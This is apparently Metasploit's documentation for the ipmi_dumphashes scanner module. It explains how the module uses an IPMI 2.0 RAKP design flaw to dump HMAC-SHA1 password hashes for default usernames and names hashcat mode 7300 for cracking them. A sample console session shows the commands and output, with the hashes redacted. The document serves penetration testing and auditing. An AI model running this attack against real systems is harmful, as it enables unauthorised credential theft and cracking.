documentation/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.md
The ipmi_dumphashes module identifies IPMI 2.0-compatible systems and attempts to retrieve the HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
Any IPMI 2.0 device implementing the RAKP protocol according to the IPMI specification is vulnerable. This is a design flaw rather than a vendor-specific vulnerability.
Set RHOSTS to the target device or range and run:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf auxiliary(ipmi_dumphashes) > set RHOSTS 192.168.1.2
RHOSTS => 192.168.1.2
msf auxiliary(ipmi_dumphashes) > run
[*] 192.168.1.2:623 - IPMI - Sending IPMI probes
[*] 192.168.1.2:623 - IPMI - Trying username 'ADMIN'...
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username ADMIN: Unauthorized name
[*] 192.168.1.2:623 - IPMI - Trying username 'admin'...
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username admin: Unauthorized name
[*] 192.168.1.2:623 - IPMI - Trying username 'root'...
[+] 192.168.1.2:623 - IPMI - Hash found: root:redacted
[*] 192.168.1.2:623 - IPMI - Trying username 'Administrator'...
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username Administrator: Unauthorized name
[*] 192.168.1.2:623 - IPMI - Trying username 'USERID'...
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username USERID: Unauthorized name
[*] 192.168.1.2:623 - IPMI - Trying username 'guest'...
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username guest: Unauthorized name
[*] 192.168.1.2:623 - IPMI - Trying username ''...
[+] 192.168.1.2:623 - IPMI - Hash found: redacted
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed